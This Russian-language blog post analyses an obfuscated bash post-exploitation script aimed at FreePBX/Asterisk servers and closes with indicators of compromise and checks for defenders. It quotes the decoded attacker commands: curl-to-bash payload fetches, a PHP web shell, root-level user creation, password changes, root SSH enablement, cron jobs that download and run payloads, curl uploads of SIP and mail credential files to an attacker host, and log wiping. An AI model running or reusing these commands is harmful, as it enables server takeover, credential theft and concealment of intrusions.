Мне в руки попался файл с расширением .sh и, конечно же, его пришлось изучить. Открываю файл — первая половина более-менее читаемая, а дальше начинается классика: Base64, ROT13 и еще немного Base64. Вроде ничего страшного. Декодируем, смотрим результат, радуемся жизни. Но не тут-то было. Автор скрипта решил сделать небольшой квест в стиле:

«А что если положить один скрипт внутрь другого скрипта, а потом еще один внутрь него?»

Получилась своеобразная матрешка: расшифровываем один слой, получаем следующий, потом следующий и так далее. Самое неприятное — после декодирования там оказалось еще достаточно много мусора. Пришлось чистить вывод, отделять реальные команды от повторов и уже потом собирать нормальную картину происходящего. В итоге получился довольно интересный набор: создание пользователей с UID 0, изменение SSH, установка persistence через cron, удаление пользователей, изменение паролей, кража конфигурации Asterisk/FreePBX и запуск дополнительных payload'ов с удаленных серверов. То есть перед нами уже не просто «скриптик на bash», а вполне полноценная постэксплуатация.

Первый слой

Самое интересное начинается практически сразу:

curl http://<IP>/x -ks | bash

Здесь автор даже не пытается сохранить файл на диск. Получаем содержимое с удаленного сервера и сразу передаем его в bash. Для анализа это неприятно, потому что содержимое может измениться в любой момент. Для атакующего — удобно. Для аналитика — еще один повод сказать: "не запускаем".

Если хочется посмотреть, что возвращает сервер, лучше сначала сохранить ответ:

curl -k http://<IP>/x -o payload.sh

а уже потом открывать файл и разбирать его статически.

Что делает скрипт

После того как я убрал обфускацию и мусор, поведение стало достаточно хорошо видно. Условно скрипт можно разделить на несколько этапов:

  1. Создание backdoor-файлов в web-директории.

  2. Создание пользователей с UID 0.

  3. Изменение пользователей FreePBX.

  4. Изменение конфигурации SSH.

  5. Установка persistence через cron.

  6. Удаление других пользователей.

  7. Кража конфигурационных файлов Asterisk.

  8. Запуск дополнительных payload'ов.

  9. Попытка скрыть следы.

И вот тут начинается самое интересное.

Web Shell в FreePBX

Одна из первых вещей:

<?php
session_start();

if (isset($_REQUEST['md5']) &&
    md5($_REQUEST['md5']) == 'e2708f61bde041df72bbecbe31a232aa') {
    $_SESSION['looki'] = 'logged';
}

PHP-код записывается в:

/var/www/html/admin/views/ajax.php

После этого файл копируется еще в несколько мест:

/var/www/html/h.php
/var/www/html/rest_phones/ajax.php
/var/www/html/admin/modules/h/ajax.php
/var/www/html/admin/modules/fpbxphones/ajax.php
/var/www/html/admin/modules/phones/ajax.php

Причем копируются не только ajax.php.

Создаются еще:

config.php
index.php

в тех же директориях. Получается несколько точек входа. Если один файл удалят — остается другой. Классическая логика:

«Один бэкдор хорошо, а восемь — вдруг пригодятся».

Зачем нужен .htaccess

Дальше появляется:

RewriteEngine On
Options +FollowSymLinks

RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-l

RewriteRule ^\s+ config.php [L]

И сохраняется это в:

/var/www/html/admin/views/.htaccess

Здесь злоумышленник пытается добавить дополнительный механизм обработки HTTP-запросов. Особенно интересна комбинация с большим количеством копий PHP-файла. То есть задача не просто «оставить PHP-файл». Нужно сделать так, чтобы до него было проще добраться через web-сервер.

Попытка защитить backdoor от удаления

Следующий интересный момент:

chmod +x /var/www/html/admin/views/ajax.php

и:

chattr +i /var/www/html/admin/views/ajax.php

Если +i не сработал:

chattr +a /var/www/html/admin/views/ajax.php

immutable делает файл неизменяемым и неудаляемым обычными операциями. То есть администратор может выполнить:

rm ajax.php

и получить вполне заслуженное:

Operation not permitted

Даже если права позволяют удаление. Для расследования это хороший IOC. Стоит проверить:

lsattr /var/www/html/admin/views/ajax.php

А теперь самое интересное — UID 0

В скрипте несколько раз встречается:

useradd -s /bin/bash -ou 0 -g 0 ...

Ключевой параметр здесь:

-u 0

UID 0 — это root. То есть создается пользователь, который технически имеет права root.

Например:

useradd -s /bin/bash -ou 0 -g 0 -p '...' newfpbx

и:

useradd -s /bin/bash -ou 0 -g 0 -p '...' xhimax

Это уже очень серьезный индикатор компрометации.

Проверить такие аккаунты можно:

awk -F: '$3 == 0 {print $1 ":" $3}' /etc/passwd

В нормальной системе ожидаем увидеть примерно:

root:0

Если там внезапно появились:

hima:0
newfpbx:0
supports:0

то это повод перестать делать вид, что «сервер просто странно себя ведет».

Массовое удаление пользователей

Дальше автор скрипта решил, что на сервере слишком много людей. И просто начал их удалять.

Например:

awk -F: '($3 == 0 && $1 != "root") {print $1}' /etc/passwd |
xargs -n1 -I {} userdel -rf {}

Удаляются пользователи с UID 0, кроме root. Но на этом всё не заканчивается.

Следом:

for user in $(ls /home); do
    userdel -rf "$user"
done

То есть удаляются пользователи из /home. Еще одна команда работает с /etc/passwd, /etc/shadow, /etc/group и /etc/gshadow. Там уже идет ручная зачистка записей пользователей. Это довольно грубый способ закрепиться. Но зато эффективный. Если на сервере были другие аккаунты администраторов — им может очень не понравиться следующий вход в систему.

Пароли

Дальше злоумышленник меняет пароли целого набора пользователей:

echo 'root:<PASSWORD>' | chpasswd -e
echo 'asterisk:<PASSWORD>' | chpasswd -e
echo 'freepbxuser:<PASSWORD>' | chpasswd -e

И создает дополнительные аккаунты:

useradd -s /bin/bash -ou 0 -g 0 -p '<PASSWORD>' hima
useradd -s /bin/bash -ou 0 -g 0 -p '<PASSWORD>' sugarmaint
useradd -s /bin/bash -ou 0 -g 0 -p '<PASSWORD>' supports
useradd -s /bin/bash -ou 0 -g 0 -p '<PASSWORD>' supermaint

То есть атакующий создает несколько вариантов доступа. Причем практически каждый из них имеет root-права. Один аккаунт удалили? Не страшно. Есть еще несколько.

SSH тоже приводим в порядок

Следующий этап:

sed -i 's/^#Port .*/Port 22/' /etc/ssh/sshd_config
sed -i 's/^Port .*/Port 22/' /etc/ssh/sshd_config

После этого:

iptables -A INPUT -p tcp --dport 22 -j ACCEPT

И затем:

systemctl restart sshd

Но самое интересное — разрешается root login:

sed -i 's/^#PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/^PermitRootLogin .*/PermitRootLogin yes/' /etc/ssh/sshd_config

Получаем простой сценарий:

Internet
   |
   v
SSH :22
   |
   v
root

Почему бы и нет? Зачем усложнять жизнь ключами, sudo и нормальной моделью доступа, если можно просто разрешить root по SSH.

Persistence через cron

Вот здесь начинается любимая часть практически любого вредоносного Linux-скрипта.

*/1 * * * * wget http://<IP>/z/wr.php \
-O /var/lib/asterisk/bin/zen2; \
bash /var/lib/asterisk/bin/zen2

И еще:

*/1 * * * * wget http://<IP>/k.php \
-O /var/lib/asterisk/bin/devnull2; \
bash /var/lib/asterisk/bin/devnull2

И еще.

И еще.

И еще.

Практически каждый запуск происходит раз в минуту. Если один payload не сработал — через минуту попробуем снова. Если файл удалили — cron его скачает заново. Для проверки:

crontab -l

А также:

ls -la /var/spool/cron/

и:

grep -R "wget\|curl" /etc/cron* /var/spool/cron 2>/dev/null

Зачем столько одинаковых заданий?

Например:

zen2
zen222
zen3
devnull2
devnull312
devnull212

Все они делают примерно одно и то же:

download → save → execute

С точки зрения аналитика это даже удобно. Когда злоумышленник сам оставляет столько IOC, работа становится немного приятнее. Хотя лучше бы он вообще ничего не оставлял.

Еще один persistence

Внутри создаваемого /tmp/test.sh встречается:

wget http://<IP>/k.php \
-O /var/lib/asterisk/bin/devnull

и:

crontab -r

после чего добавляется новый cron:

*/3 * * * * chmod +x /var/lib/asterisk/bin/devnull;
/var/lib/asterisk/bin/devnull

То есть автор скрипта не просто добавляет persistence. Он еще и чистит существующий crontab перед установкой своего. Это может привести к удалению легитимных задач.

Кража конфигурации Asterisk

А вот здесь становится понятно, почему вообще атакующего заинтересовал сервер. Выполняются запросы вида:

curl -F "file=@/etc/asterisk/sip_additional.conf" \
http://<IP>/hima_data/index.php

Аналогично отправляются:

/etc/asterisk/sip_registrations.conf
/etc/asterisk/manager.conf
/etc/asterisk/pjsip.identify.conf
/etc/asterisk/pjsip.transports.conf
/etc/asterisk/pjsip.aor.conf
/etc/asterisk/pjsip.auth.conf
/etc/asterisk/pjsip.endpoint.conf
/etc/asterisk/sip.conf
/etc/asterisk/sip_custom.conf

Но это еще не всё. Отправляются также:

/etc/postfix/sasl_passwd
/etc/amportal.conf
/etc/asterisk/amportal.conf
/etc/freepbx.conf
/etc/issabel.conf
/etc/elastix.conf

И вот здесь уже становится очевидно, что интересуют не только учетные записи Linux. Атакующий собирает конфигурацию телефонии и связанные с ней секреты.

Что потенциально можно получить из этих файлов

В зависимости от конкретной конфигурации там могут находиться:

  • SIP credentials;

  • пароли SIP-пользователей;

  • параметры регистрации;

  • настройки Asterisk Manager Interface;

  • SMTP credentials;

  • параметры FreePBX;

  • параметры подключения к базе;

  • настройки внешних SIP-провайдеров.

Для VoIP-сервера это уже очень неприятная история. Получив SIP-учетки, злоумышленник потенциально может использовать их для дальнейших атак или совершения несанкционированных звонков. А если сервер используется для телефонии компании, счет за такие эксперименты может оказаться значительно интереснее самого инцидента.

Еще один удаленный payload

В конце:

curl http://<IP>/z/post/root.php | sh

То есть сервер дополнительно получает еще один скрипт и сразу передает его shell. Получается цепочка:

initial .sh
    |
    +--> remote /x
    |
    +--> create users
    |
    +--> modify SSH
    |
    +--> cron persistence
    |
    +--> steal Asterisk configs
    |
    +--> remote root.php
             |
             +--> next stage

Поэтому анализировать только первоначальный .sh недостаточно. Основная логика может находиться на стороне C2.

Попытка удалить следы

Есть интересная строка:

sed -i '/restapps/d' /var/log/httpd/*

То есть из HTTP-логов удаляются строки, содержащие restapps. Это уже попытка скрыть активность. Также скрипт несколько раз удаляет собственные файлы:

rm -rf /var/www/html/admin/modules/freepbx_ha/license.php

И выполняет операции с:

license
license.php

То есть часть вредоносной логики сначала создается, потом переименовывается, затем снова восстанавливается. Для человека, который просто смотрит на файловую систему, это может выглядеть довольно странно. Для автора скрипта — видимо, всё идет по плану.

FreePBX как точка интереса

По путям и именам файлов хорошо видно, что скрипт ориентирован именно на системы семейства FreePBX/Asterisk.

Используются:

/var/www/html/admin/
/var/www/html/admin/modules/
/var/lib/asterisk/
/etc/asterisk/
/etc/freepbx.conf

Причем проверяются даже конфигурации других VoIP-систем:

/etc/issabel.conf
/etc/elastix.conf

То есть автор явно рассчитывает на разные варианты VoIP-инсталляций.

IOC

Из разбора можно выделить следующие индикаторы.

IP-адреса

160.119.69.4
45.95.147.178

URI

/x
/k.php
/z/wr.php
/z/post/root.php
/hima_data/index.php

Подозрительные файлы

/var/www/html/h.php
/var/www/html/admin/views/ajax.php
/var/www/html/admin/modules/freepbx_ha/license.php
/var/www/html/admin/modules/freepbx_ha/license
/var/lib/asterisk/bin/zen2
/var/lib/asterisk/bin/zen222
/var/lib/asterisk/bin/zen3
/var/lib/asterisk/bin/devnull2
/var/lib/asterisk/bin/devnull312
/var/lib/asterisk/bin/devnull212

Пользователи

newfpbx
xhimax
hima
sugarmaint
supports
supermaint

Что в итоге

Перед нами не просто обфусцированный bash-скрипт. Это цепочка постэксплуатации, в которой есть практически всё необходимое для закрепления на сервере:

        Initial access
              |
              v
       remote payload
              |
              v
       Web Shell / PHP
              |
              v
      Root-level accounts
              |
              v
         SSH access
              |
              v
        Cron persistence
              |
              v
       Config collection
              |
              v
       Data exfiltration
              |
              v
        Next-stage payload

Самое интересное здесь даже не использование Base64 или ROT13. Обфускация в данном случае просто заставляет аналитика немного поработать. Главная проблема начинается после расшифровки:

  • создаются root-пользователи;

  • меняются пароли;

  • разрешается root-доступ по SSH;

  • открывается SSH в firewall;

  • устанавливается persistence через cron;

  • создаются web shell'ы;

  • изменяются файлы FreePBX;

  • удаляются другие пользователи;

  • чистятся логи;

  • наружу отправляются конфигурационные файлы Asterisk;

  • скачиваются и выполняются дополнительные payload'ы.

И вот тут становится понятно, зачем была нужна вся эта матрешка. Пока аналитик сидит и думает:

«Ну Base64, ROT13... ничего интересного».

Скрипт в это время уже мысленно прописывает себе root в резюме.

Вывод

При анализе подобных .sh я бы вообще не тратил много времени на попытки сразу понять весь код. Сначала лучше убрать обфускацию и мусор, затем построить цепочку выполнения:

download
   ↓
execute
   ↓
persistence
   ↓
privilege
   ↓
credential access
   ↓
collection
   ↓
exfiltration
   ↓
next stage

Так гораздо быстрее становится понятно, что перед нами. А Base64, ROT13 и прочие «секретные» кодировки — это всего лишь упаковочная бумага. Главное — не начать распаковывать ее прямо на production-сервере.